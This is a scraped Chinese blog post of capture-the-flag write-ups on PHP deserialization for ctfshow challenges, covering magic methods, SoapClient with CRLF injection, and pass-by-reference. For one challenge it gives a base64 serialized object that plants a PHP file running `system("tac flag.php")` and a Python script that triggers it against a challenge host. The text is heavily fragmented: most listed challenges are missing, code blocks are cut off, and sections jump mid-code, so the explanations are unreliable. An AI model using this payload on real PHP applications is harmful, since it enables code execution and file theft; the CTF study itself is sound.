您当前的位置: 首页 >  php

Z3eyOnd

暂无认证

  • 3浏览

    0关注

    117博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

php反序列化(ctfshow)

Z3eyOnd 发布时间:2021-11-14 16:26:21 ,浏览量:3

文章目录
    • 简介
    • 入门
    • 反序列化中常见的魔法函数
      • web254
      • web255
      • web256
      • web257
        • 为什么需要用urlencode?
      • web258
      • web259
        • 介绍
      • web260
      • web261
      • web262
      • web264
      • web263
      • web265
      • web266
    • 补充知识点
      • php中输出打印的方式

简介
php序列化和反序列用到两个函数
序列化:serialize,将对象格式化为一个新的字符串
反序列化:unserialize,将字符串还原为原来的对象。
一般在CTF中,可以通过自己写php代码,并传序列化后的代码,可以覆盖原来的代码,从而改变代码执行过程,达到自己的目的(仅限我的理解)
入门
参考:
https://blog.csdn.net/solitudi/article/details/113588692?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163090819616780357263384%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=163090819616780357263384&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-1-113588692.pc_v2_rank_blog_default&utm_term=php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4450

https://blog.csdn.net/q20010619/article/details/108352029?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163093042316780271566242%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=163093042316780271566242&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-3-108352029.pc_search_result_hbase_insert&utm_term=php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187
反序列化中常见的魔法函数
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
web254

感觉和反序列化没有关系,直接通过URL参数传入,username=xxxxxx&password=xxxxxx

web255

看代码得知,url传参数?username=xxxxxx&password=xxxxxx 并且使得属性isVip=true,才可以得到flag 所以使用unserialize,改变原来代码的isVip属性值


考点:php原生类SoapClient

介绍
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用__call方法

具体的利用方式,上面链接有,我就不多阐述了。

同时也用到了CRLF漏洞

flag.php源码

';
    public $status='dotast';

}
$a=new User();
echo base64_encode('|'.serialize($a));
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgc3lzdGVtKCJjYXRmbGFnLnBocCIpOz8

输出值存进cookie中,带着cookie去访问index.php,接着访问inc/inc.php,然后就会生成文件log-1.php,直接写一个脚本

import requests
url = "http://a768fa0f-b2b6-47dd-a787-5b1f3063ca7e.challenge.ctf.show/"
cookies = {"PHPSESSID": "4lppepr42tnnv98rca6ei55dun", "limit": "fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czoxMDoiZG90YXN0LnBocCI7czo4OiJwYXNzd29yZCI7czozMToiPD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/PiI7czo2OiJzdGF0dXMiO3M6NjoiZG90YXN0Ijt9"}
res1 = requests.get(url + "index.php", cookies=cookies)

res2 = requests.get(url + "inc/inc.php", cookies=cookies)

res3 = requests.get(url + "log-1.php", cookies=cookies)
print(res3.text)
web265

考点:php的按地址传参

在C语言中,可以传地址,如果一个变量的地址赋值给另一个变量,他们的值会同时改变。

所以,利用这个特性构造payload

            
关注
打赏
1651657201
查看更多评论
0.1201s